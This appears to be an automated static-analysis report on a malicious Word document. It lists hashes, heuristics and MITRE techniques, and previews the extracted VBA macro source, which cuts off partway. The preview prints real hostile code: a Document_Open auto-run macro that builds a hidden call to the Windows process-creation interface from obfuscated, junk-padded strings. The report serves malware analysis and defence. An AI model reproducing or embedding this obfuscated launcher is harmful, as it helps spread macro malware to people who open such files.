Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 40c72ffaf4f9dd71…

MALICIOUS

Office (OLE)

187.9 KB Created: 2020-09-02 12:46:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: c939725e53f709edeec293a9cd3a0e94 SHA-1: f28853ba1b146ae6949c6ab2dcfa3a33b015ec2c SHA-256: 40c72ffaf4f9dd7110c540bdf054e2b25a82abe5694c40c876fbb159ece20258
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro that is triggered upon opening the document. This macro uses CreateObject to execute obfuscated code. The ClamAV detection and heuristic firings strongly indicate malicious intent, likely to download and execute a secondary payload. The VBA code is heavily obfuscated, making it difficult to determine the exact payload or destination URL without further dynamic analysis.

Heuristics 6

  • ClamAV: Doc.Malware.Evxm-9752133-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Evxm-9752133-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8932 bytes
SHA-256: b5af11da0f4ea797f3c43856af862f41489ec829021248a2e4c6492a04d8fec4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Wzgjn0mugfbylm"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Call Fnsu6o7ee8me.Bbcd45xj7g1v1x0oof
End Sub


Attribute VB_Name = "Fnsu6o7ee8me"
Attribute VB_Base = "0{BBB1093C-3261-4E75-9E82-9C8A2E91D7B9}{517DDE18-BE33-4558-8F98-3F6C567360A7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Bbcd45xj7g1v1x0oof()
   On Error Resume Next
Set V4alnn_u1wyp = Bi7ujrvv1sjms
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
Ohih_cks08jz6pff = 105
   On Error Resume Next
Set Ptnnj0k8k56al0s = V3g0nq93t3m
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
Phpydf4l459pmu8 = ChrW$(Ohih_cks08jz6pff + (10))
   On Error Resume Next
Set Oo66q1_3vgedx5k = Hv_jbjw03oczg_em
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
T4kgi4yek_km6ks8lf = "82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sw82fFHG74_(( sa3fj4_ hu23V))si82fFHG74_(( sa3fj4_ hu23V))snm82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sgm82fFHG74_(( sa3fj4_ hu23V))st82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s" + Phpydf4l459pmu8 + "82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s:82fFHG74_(( sa3fj4_ hu23V))sw82fFHG74_(( sa3fj4_ hu23V))sin82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s382fFHG74_(( sa3fj4_ hu23V))s282fFHG74_(( sa3fj4_ hu23V))s_82fFHG74_(( sa3fj4_ hu23V))s" + Fnsu6o7ee8me.Lpdwtms7vv5b3bev + "82fFHG74_(( sa3fj4_ hu23V))sro82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sce82fFHG74_(( sa3fj4_ hu23V))ss82fFHG74_(( sa3fj4_ hu23V))ss82fFHG74_(( sa3fj4_ hu23V))s"
   On Error Resume Next
Set H_tq7q3y21zew = Ulcq_cu5s3zy_qu29k
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
Rfwp5h_ezhx1ioj = L5h9pewo499y58bi(T4kgi4yek_km6ks8lf)
   On Error Resume Next
Set Mjm6e2vf3zcm = Snhc6fmwadm
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
   On Error Resume Next
Set Tgj8v6ld_0q = F43rzdmu2ghem
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
Mxcit0_9kni85cjgi = Fnsu6o7ee8me.Bvmkby7dv4_a.ControlTipText
   On Error Resume Next
Set S8n41wo4k1xfg0p8_ = Ern2v9nrm2gdapko
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
Ollovfzri_6_kmn = R2rmzda5pni + (Rfwp5h_ezhx1ioj + Phpydf4l459pmu8 + Fnsu6o7ee8me.Twdrd8lq_5n3_ca73h.ControlTipText + Mxcit0_9kni85cjgi)
   On Error Resume Next
Set Z7wfk3a0tm4 = Pge8k45dnh4iru3em
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
Ckasp1_6r9t6r = Ollovfzri_6_kmn + Fnsu6o7ee8me.Lpdwtms7vv5b3bev
   On 
... (truncated)

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